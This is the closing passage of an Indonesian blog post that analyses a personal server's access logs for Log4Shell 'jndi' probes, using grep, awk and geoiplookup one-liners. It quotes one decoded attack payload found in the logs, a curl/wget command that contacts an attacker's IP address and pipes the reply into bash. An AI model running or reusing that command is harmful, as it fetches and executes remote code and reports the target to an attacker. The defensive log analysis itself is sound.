<li>ip berdasarkan request terbanyak yang memuat string "jndi"</li>
</ol>
<pre><code class="lang-bash">cat access.log* | grep -i jndi |awk <span class="hljs-string">'{print $1}'</span>| sort | uniq -c | sort -rn &gt; top_ip_jndi.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723222151881/6584b0f5-08ec-422a-b6b0-e961a85b011b.png" alt class="image--center mx-auto" /></p>
<ol start="2">
<li>menambahkan negara ke list ip pada nomor sebelumnya</li>
</ol>
<pre><code class="lang-bash">cat top_ip_jndi.txt | <span class="hljs-keyword">while</span> <span class="hljs-built_in">read</span> amt ip;<span class="hljs-keyword">do</span> country=$(geoiplookup <span class="hljs-variable">$ip</span> | awk -v FS=<span class="hljs-string">"(GeoIP Country Edition: |,)"</span> <span class="hljs-string">'{print $3}'</span>); <span class="hljs-built_in">echo</span> <span class="hljs-variable">$amt</span> <span class="hljs-variable">$ip</span> <span class="hljs-variable">$country</span>; <span class="hljs-keyword">done</span>;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723222155571/7a9579f8-68f9-496e-bd70-dccba67f0e4a.png" alt class="image--center mx-auto" /></p>
<ol start="3">
<li>melihat rincian string exploit</li>
</ol>
<pre><code class="lang-bash">cat access.log* | grep -i jndi |awk <span class="hljs-string">'{print $7}'</span>| sort | uniq -c | sort -rn
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723222159194/607bea11-beb4-4ef7-9bb3-cc911def1899.png" alt class="image--center mx-auto" /></p>
<p>dengan merefer ke gambar pada bagian awal, kita dapat melihat bahwa serangan ini cukup sederhana. attacker mengirimkan string lookup ke sebuah server yang dikuasai, reply dari lookup tersebut akan di eksekusi oleh server target (RCE). namun terlihat pada gambar diatas, kebanyakan serangan tersebut hanya bertujuan recon/ mengetahui apakah server vulnerable, dan bukan merupakan RCE. string yang paling banyak ditemui (urutan pertama) di-encode dengan base64, yang bila di-decode menampilkan:</p>
<pre><code class="lang-bash">(curl -s 195.54.160.149:5874/[targetsvr]:80||wget -q -O- 195.54.160.149:5874/[targetsvr]:80)|bash
</code></pre>
<p>secara sederhana mengirimkan alamat [targetsvr] ke resources yang dikuasai penyerang (195.54.160.149) dengan curl/ wget.</p>
<h4 id="heading-penutup">penutup</h4>
<p>walaupun cukup heboh, nampaknya tidak terlalu banyak juga penyerang yang memanfaatkan log4j. Mungkin juga ada attacker yang ketika mengenali versi nginx yang saya jalankan, dan memutuskan tidak perlu mengirimkan string "jndi" sehingga saya tidak mendeteksinya (*pendapat tidak berdasar). sudah terdapat beberapa langkah mitigasi di dunia maya, sehingga bila anda terdampak, sangat disarankan melakukan mitigasi. log dari inetsim sendiri akan saya update bila hasilnya menarik.</p>
]]></content:encoded></item></channel></rss>